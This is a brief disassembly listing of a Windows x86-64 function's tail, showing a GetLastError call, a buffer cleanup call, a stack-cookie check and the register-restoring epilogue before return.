jne 0x1400092e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov bl, sil
cmp qword [rbp - 0x78], 8
jb 0x1400092fa
mov rcx, qword [rsp + 0x70]
call fcn.140011278
mov al, bl
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.140010a00
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret